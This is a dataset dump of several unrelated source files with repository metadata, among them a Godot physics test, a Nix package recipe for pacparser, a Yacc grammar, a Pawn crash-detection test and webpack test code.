_body_type = E_BodyType.KINEMATIC_BODY
_test_jump_one_way_corner = true
yield(_start_jump_one_way(), "completed")
OPTION_TEST_CASE_FALL_ONE_WAY_KINEMATIC:
_body_type = E_BodyType.KINEMATIC_BODY
yield(_start_fall_one_way(), "completed")
_:
Log.print_error("Invalid test case.")
func _test_all():
Log.print_log("* TESTING ALL...")
# RigidBody tests.
yield(_start_test_case(OPTION_TEST_CASE_JUMP_ONE_WAY_RIGID), "completed")
if is_timer_canceled():
return
yield(_start_test_case(OPTION_TEST_CASE_JUMP_ONE_WAY_CORNER_RIGID), "completed")
if is_timer_canceled():
return
# KinematicBody tests.
yield(_start_test_case(OPTION_TEST_CASE_JUMP_ONE_WAY_KINEMATIC), "completed")
if is_timer_canceled():
return
yield(_start_test_case(OPTION_TEST_CASE_JUMP_ONE_WAY_CORNER_KINEMATIC), "completed")
if is_timer_canceled():
return
yield(_start_test_case(OPTION_TEST_CASE_FALL_ONE_WAY_KINEMATIC), "completed")
if is_timer_canceled():
return
Log.print_log("* Done.")
func _set_result(test_passed):
var result = ""
if test_passed:
result = "PASSED"
else:
result = "FAILED"
if not test_passed and not _failed_reason.empty():
result += _failed_reason
else:
result += "."
Log.print_log("Test %s" % result)
func _start_test():
if _extra_body:
_body_parent.remove_child(_extra_body)
_extra_body.queue_free()
_extra_body = null
._start_test()
if _test_jump_one_way:
_test_jump_one_way = false
_moving_body._initial_velocity = Vector2(600, -1000)
if _test_jump_one_way_corner:
_moving_body.position.x = 147.0
$JumpTargetArea2D.visible = true
$JumpTargetArea2D/CollisionShape2D.disabled = false
if _test_fall_one_way:
_test_fall_one_way = false
_moving_body.position.y = 350.0
_moving_body._gravity_force = 100.0
_moving_body._motion_speed = 0.0
_moving_body._jump_force = 0.0
_extra_body = _moving_body.duplicate()
_extra_body._gravity_force = 100.0
_extra_body._motion_speed = 0.0
_extra_body._jump_force = 0.0
_extra_body.position -= Vector2(0.0, 200.0)
_body_parent.add_child(_extra_body)
$FallTargetArea2D.visible = true
$FallTargetArea2D/CollisionShape2D.disabled = false
func _start_jump_one_way():
_test_jump_one_way = true
_start_test()
yield(start_timer(1.5), "timeout")
if is_timer_canceled():
return
_finalize_jump_one_way()
func _start_fall_one_way():
_test_fall_one_way = true
_start_test()
yield(start_timer(1.0), "timeout")
if is_timer_canceled():
return
_finalize_fall_one_way()
func _finalize_jump_one_way():
var passed = true
if not $JumpTargetArea2D.overlaps_body(_moving_body):
passed = false
_failed_reason = ": the body wasn't able to jump all the way through."
_set_result(passed)
$JumpTargetArea2D.visible = false
$JumpTargetArea2D/CollisionShape2D.disabled = true
func _finalize_fall_one_way():
var passed = true
if $FallTargetArea2D.overlaps_body(_moving_body):
passed = false
_failed_reason = ": the body was pushed through the one-way collision."
_set_result(passed)
$FallTargetArea2D.visible = false
$FallTargetArea2D/CollisionShape2D.disabled = true
| GDScript | 4 | jonbonazza/godot-demo-projects | 2d/physics_tests/tests/functional/test_character_tilemap.gd | [
"MIT"
] |
{ lib, stdenv, fetchurl }:
stdenv.mkDerivation rec {
pname = "pacparser";
version = "1.3.7";
src = fetchurl {
url = "https://github.com/manugarg/pacparser/releases/download/${version}/${pname}-${version}.tar.gz";
sha256 = "0jfjm8lqyhdy9ny8a8icyd4rhclhfn608cr1i15jml82q8pyqj7b";
};
makeFlags = [ "NO_INTERNET=1" ];
preConfigure = ''
export makeFlags="$makeFlags PREFIX=$out"
patchShebangs tests/runtests.sh
cd src
'';
hardeningDisable = [ "format" ];
meta = with lib; {
description = "A library to parse proxy auto-config (PAC) files";
homepage = "http://pacparser.manugarg.com/";
license = licenses.lgpl3;
platforms = platforms.linux;
maintainers = with maintainers; [ abbradar ];
};
}
| Nix | 4 | collinwright/nixpkgs | pkgs/tools/networking/pacparser/default.nix | [
"MIT"
] |
<div><p id="parag">This is a subtitle</p></div> | HTML | 1 | zeesh49/tutorials | spring-thymeleaf/src/main/webapp/WEB-INF/views/fragments/subtitle.html | [
"MIT"
] |
class A
token A B C X
rule
targ : A list B
| A B C
list: list X
end
| Yacc | 2 | puzzle/nochmal | spec/dummy/vendor/bundle/ruby/2.7.0/gems/racc-1.5.2/test/assets/useless.y | [
"MIT"
] |
…
// NOTE: the assertions for this test happen through `verifyUniqueFunctions`.
| JavaScript | 1 | John-Cassidy/angular | packages/compiler-cli/test/compliance/test_cases/r3_view_compiler_template/unique_template_function_names_ng_content.js | [
"MIT"
] |
// FLAGS: -d3
// OUTPUT: \[debug\] Run time error 27: "General error \(unknown or unspecific error\)"
// OUTPUT: \[debug\] AMX backtrace:
// OUTPUT: \[debug\] #0 000001fc in end \(\) at .*ref_args\.pwn:49
// OUTPUT: \[debug\] #1 000001e4 in f3 \(&Float:f=@00003fb0 1\.50000\) at .*ref_args\.pwn:45
// OUTPUT: \[debug\] #2 00000184 in f2 \(&bool:b1=@00003fcc true, &bool:b2=@00003fc8 false\) at .*ref_args\.pwn:40
// OUTPUT: \[debug\] #3 00000128 in f1 \(&x=@00003fe0 123\) at .*ref_args\.pwn:34
// OUTPUT: \[debug\] #4 000000b0 in begin \(\) at .*ref_args\.pwn:27
// OUTPUT: \[debug\] #5 00000064 in public test \(\) at .*ref_args\.pwn:22
// OUTPUT: \[debug\] #6 native CallLocalFunction \(\) in plugin-runner(\.exe)?
// OUTPUT: \[debug\] #7 00000038 in main \(\) at .*ref_args\.pwn:18
#include "test"
forward test();
main() {
CallLocalFunction("test", "");
}
public test() {
begin();
}
begin() {
new _x = 123;
f1(_x);
}
f1(&x) {
new bool:_b1 = true;
new bool:_b2 = false;
f2(_b1, _b2);
return x;
}
f2(&bool:b1, &bool:b2) {
new Float:_f = 1.5;
f3(_f);
return b1 && b2;
}
f3(&Float:f) {
end();
return _:f;
}
end() {
#emit halt 27
}
| PAWN | 3 | SL-RP/samp-plugin-crashdetect | tests/ref_args.pwn | [
"BSD-2-Clause"
] |
# ${license-info}
# ${developer-info}
# ${author-info}
declaration template components/openstack/catalog;
include 'components/openstack/catalog/murano';
@documentation {
Type to define OpenStack catalog services
}
type openstack_catalog_config = {
'murano' ? openstack_murano_config
} with openstack_oneof(SELF, 'murano');
| Pan | 3 | ned21/pan | panc/src/main/scripts/panlint/test_files/test_good_before_first_line.pan | [
"Apache-2.0"
] |
import { z, used } from "./module";
it("should have the correct exports", () => {
expect(z).toBe("z");
expect(used).toEqual({
w: false,
v: true,
x: false,
y: false,
z: true
});
return import("./b-or-c").then(m => m.default(it));
});
| JavaScript | 4 | fourstash/webpack | test/configCases/optimization/depend-on-runtimes/c.js | [
"MIT"
] |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.